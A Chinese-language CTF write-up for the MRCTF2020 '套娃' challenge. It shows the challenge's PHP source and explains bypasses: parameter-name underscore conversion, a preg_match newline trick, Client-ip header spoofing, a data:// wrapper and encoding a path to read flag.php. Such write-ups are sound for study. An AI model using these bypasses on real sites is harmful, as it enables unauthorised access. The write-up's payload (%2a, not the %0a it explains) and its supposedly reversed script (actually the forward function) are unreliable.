[MRCTF2020]套娃
进入题目 查看源码
1 2 3 4 5 6 7 8 9 10 11
| <!-- //1st $query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){ die('Y0u are So cutE!'); } if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){ echo "you are going to the next ~"; } !-->
|
分析:输入的字符串不能有_
和其url编码,并且get传参b_u_p_t不能等于23333 但是正则匹配需要开头和结尾为23333
这里用到了php合法变量名的知识点,如果在传参时,遇到不合法的变量名比如.
则php会自动将其转为_
正则匹配preg_match()通过换行符%0a
绕过即可 在非多行模式下,$似乎会忽略在句尾的%0a
可参考https://www.cnblogs.com/20175211lyz/p/12198258.html
payload:?b.u.p.t=23333%2a
查看源码发现一段jsfuck编码 直接在console中输入就有回显了
关于jsfuck码可以参考:https://www.jianshu.com/p/e7246218f424
获得源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php error_reporting(0); include 'takeip.php'; ini_set('open_basedir','.'); include 'flag.php';
if(isset($_POST['Merak'])){ highlight_file(__FILE__); die(); }
function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } echo 'Local access only!'."<br/>"; $ip = getIp(); if($ip!='127.0.0.1') echo "Sorry,you don't have permission! Your ip is :".$ip; if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){ echo "Your REQUEST is:".change($_GET['file']); echo file_get_contents(change($_GET['file'])); } ?>
|
ip用 Client-ip: 127.0.0.1
写在请求头,并且只能用这个
到目前为止我也不知道 Client-ip xff Real-ip 这三个在不同题目下为什么不能互用的原因 有点阴间
2333用data伪协议去传参
我们要读的文件file会经过change函数改变 我们只需要倒着写一个change函数 让其进过题目函数时候回到我们想要的内容即可 脚本很简单
1 2 3 4 5 6 7 8 9 10 11
| <?php function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } $str = 'ZmxhZy5waHA='; echo change($str) ?>
|